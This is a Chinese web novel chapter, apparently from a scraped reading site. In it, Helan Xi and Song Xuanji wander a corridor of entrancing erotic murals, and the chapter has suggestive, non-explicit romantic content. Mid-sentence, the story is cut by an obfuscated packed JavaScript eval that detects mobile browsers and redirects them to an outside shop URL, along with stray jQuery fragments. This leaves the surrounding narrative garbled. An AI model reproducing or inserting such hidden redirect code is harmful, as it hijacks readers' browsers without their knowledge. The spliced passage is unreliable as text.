第 90 章 在被我睡

作品:《风月无情道

    离天亮只剩下半个时辰,晨光尚未撕破楼兰的长夜。


    九尾小狐妖紧闭双眼,躺在奢华柔软的大床上,不谙世事的睡颜犹如埋藏于地底深处的水晶,被子外的一角露出他一小撮粉色的尾巴尖尖。


    宫殿外传来由远及近的脚步声,与之相随的还有一下又一下,规律的撞击声,像是法杖击打地面的声音。


    这些声音离小狐妖越来越近,越来越近,最终停在了他的床前。


    审视的目光落在小狐妖的脸上,隐藏在兜帽之下的嘴角勾起满意的弧度,法杖顶端的宝石散发出奇异的红光。


    这的确是一只非常漂亮的小狐妖。


    暗红色的光芒变成一道道光束飞了出来,在小狐妖周边回旋缠绕,织成一张诡异的密网。


    天亮后,楼兰王宫的侍女推门而入,宫殿内已然空无一人。


    ……


    耳边回荡着潺潺的水流声,浓郁的酒味扑面而来。贺兰熹耳尖一动,缓缓睁开了眼睛。


    他没有看到流水,也没有瞧见哪里有酒。他躺在黄金浇灌的台阶上,眼前是一片映照在火光中的金色回廊。


    神秘修士已不见了踪影,他的任务似乎只是将美人带到这里,接下来发生的事情就无须他插手了。


    回廊的主人应该十分自信,他坚信每一个被带来的绝世美人都会按照他的设想行事。人在未知密闭的地方一定会试着寻找出口,而水流的声音则意味着出口的存在。


    贺兰熹从台阶上爬起来,顺着水流的声音向前走去。


    回廊两侧是金色巨石砌成的墙壁。墙壁上每隔一段距离悬挂着一根火把,火把不但照亮了来客前进的道路,还为墙壁上的一幅幅壁画勾勒出了精美的光影。


    先前在西洲的沙漠中,贺兰熹见过类似的壁画,描述的是两千年前浮绪仙君和鬼王惊天动地的一战。而这里的壁画场面更加壮观,光是人物就有密密麻麻的一大堆,连绵不绝,一眼望不到尽头。


    这又是描述的哪场大战?和鬼界有关系吗?


    贺兰熹抱着疑问凑近墙壁,看清壁画上的人后,瞳孔倏地放大,整个人僵立在原地。


    壁画上的人无论男女,每一个都面容姣好,身段婀娜。他们被刻画得栩栩如生,从头到脚找不到一处失真的地方。


    贺兰熹能看到一名女子根根分明的睫毛和她鼻翼上的美人痣,也能看清一个男人华服上绣着的微小的花纹……


    这根本不是什么人鬼大战图,这是一张接着一张,无数张连在一起的春宫交/媾图!


    贺兰熹曾和宋玄机一起看过最真实的春宫图,也是见过大风大浪的人。合欢道院的春宫图讲究情投意合,意境唯美,而这些壁画极其简单粗暴,乍一眼看去,密密麻麻的肉/体或纠缠或横陈,每张绝世的容颜上满是一模一样的沉沦之色,不见情谊,唯有肉/欲。


    照理说这些静止不动的画面不该对贺兰熹产生影响,可不知为何,他就是无法从壁画上移开目光。


    贺兰熹将注意力集中放在一名楼兰男子的脸上。短短几步路的距离,他看到了这名男子七八次,每一次和男子在一起的人都各不相同,有男有女,有时甚至不止一人。


    有没有一种可能,这成千上万的壁画仅仅只由一百多人构成——那些已经被神秘修士收入囊中的一百零五人。


    他作为被带来此地的第一百零六人,是否也会像这些人一样,在回廊的壁画上留下最淫靡,最放荡的姿态?


    贺兰熹目不转睛地盯着男子的脸,清澈的眼睛渐渐变得呆滞无神。


    火把噼里啪啦的燃烧声落入耳中仿佛成了一声声令人遐想的喘息,原本静止的画面像有了生命,竟然在他面前动了起来。


    男子所穿戴的楼兰服饰和他不久前穿的那身好像。不仅是衣服,男子的眉眼也与他的有几分相似……不,是一模一样。


    恍惚间,他的脸和男子的脸完全融合,原来那些奇怪的声音都是由他发出来的。


    他就是那名男子。


    而和他在一起的人又是谁?放在他腰间的,又是谁的手?


    他四肢着地地跪在地上,努力向后看去。


    他看到了宋玄机的脸。


    “——好看吗。”


    清冽淡然的声音好似一把冰凌,划破一切幻象,呻/吟和喘息于火光中消散,晃动的画面重归静止。


    贺兰熹猛然回神,像在幻象中一样地转过身,看到的依旧是宋玄机没有过多表情的脸。


    他的脑门阵阵发热,下意识地去看壁画。壁画上男人的脸明明和他的截然不同,他刚刚


    怎么会觉得他们很像呢?


    贺兰熹给自己用了一个清心术勉强稳住了心神:“你……你怎么从剑灵里出来了?”


    宋玄机走到壁画前端详着险些让贺兰熹着了道的画面道:“你许久没有反应我出来看看。”


    贺兰熹有些不好意思:“哦我方才在深思来着。”


    宋玄机扫了他一眼:“嗯。”


    宋玄机分明也看了许久的壁画神色却不见有异常之处。贺兰熹忍不住问:“宋浔你在墙壁上看到了什么?”


    宋玄机顿了顿:“看到了贺兰熹。”


    贺兰熹:“!!!”


    这壁画果然厉害连宋玄机都中招了。


    “好巧我就是贺兰熹。”贺兰熹明知故问“你看到我在干嘛呀?”


    一幅幅香艳之景在宋玄机口中汇成了简单的四个字:“在被我睡。”


    贺兰熹一时语塞好半天憋出一句:“你为什么能用这么平静的口吻说出这些?”


    宋玄机:“因为我不爱情绪激动地说话。”


    贺兰熹:“……又来!你能不能好好回答我的问题!”


    宋玄机想了想道:“也或许是因为你在身边。”


    贺兰熹微微一怔:“嗯?”


    “我知道这些都是假的”宋玄机转向他眼眸中只映照着他一人的身影:“只有你是真的。”


    贺兰熹心口一跳莫名感动:“宋浔你……”他还没来得及把这份感动说给宋玄机


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963549|121100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听又听见对方道:“当然也可能是因为上次我帮你多抄了两遍《谢尘缘》。”


    贺兰熹顿时没了表情心想《谢尘缘》对你真那么有用的话你之前何至于十分硬。


    宋玄机从剑灵里出来后其他人也等不住了。


    长孙策为了证明自己不怕宋玄机最先跳了出来白观宁和祝如霜紧随其后。


    贺兰熹忙道:“你们先别出来!”他很喜欢他的兄弟们但他一点都不想看到兄弟们一起发/情的灾难画面。


    萧问鹤闻言立刻把伸到一半的脑袋缩了回去:“怎么了?”


    “这地方不对劲。”贺兰熹道“我建议你们每人先抄一遍《谢尘缘》再出来。”


    “这都什么时候还要我们帮你抄书?”长孙策左


    顾右盼并未发现有何不妥之处:“我们这是在哪?哪里就不对劲了?”


    宋玄机难得主动搭理了长孙策一次:“壁画。”


    “什么玩意儿?”长孙策靠近壁画粗略地看了两眼后嗤笑出声:“就这?你们无情道没看过春宫图吗这也值得大惊小怪。”


    贺兰熹在心中默念:五四三……


    他才念到“二”长孙策已经笑不出来了脸色通红不说还自顾自地喘了起来反应比他中招的时候大多了。


    “就这?”贺兰熹以其人之道还治其人之身“你们混天道没看过春宫图吗。”


    “你懂什么”长孙策强撑着嘴硬“你看到的是我气定神闲的脸红听到的是我不屑一顾的喘……”


    长孙策的神志无法支撑他说完最后一个字他的眼神彻底失去了清醒。


    祝如霜在他面前晃了晃手


    贺兰熹心下一惊几乎喊破了音:“不——放开祝云!”


    “无妨”祝如霜皱起了眉一把揪住长孙策的衣领:“我带他回去抄书。”


    贺兰熹将两人送回载星月的剑灵又想到萧问鹤在北濯天权的剑灵里不安地问宋玄机:“这种时候他们两个独处不会出事吧?”


    宋玄机:“不会。”


    贺兰熹:“你怎么能这么肯定?”


    宋玄机:“长孙策打不过祝云。”


    贺兰熹一下子放心了:“也对。”


    三人之中白观宁受壁画的影响似乎是最小的。他和贺兰熹思路相同也想到了画中人很可能就是被楼兰王抓走的一百多个美人。他的脸色变得极其难看咬紧的嘴唇渗出血丝疯了一般地在壁画上找寻母亲的身影。


    “不是她不是她……没有……”白观宁喃喃道“哪里都没有她。”


    他看到了一百多个陌生的脸孔唯独没有看到那张他最熟悉的脸。


    “这或许是个好消息。”贺兰熹道“证明你的母亲尚未遭遇毒手。”


    白观宁哑声道:“但愿如此。”


    前方的回廊好似永无止境水流的声音却越来越清晰了。


    三人转过一个拐角一阵光亮袭来眼前豁然开朗。


    作者有话要说


    宋同学表示玩强制爱的前提要打得过老婆此处应@长孙经略@宋流纾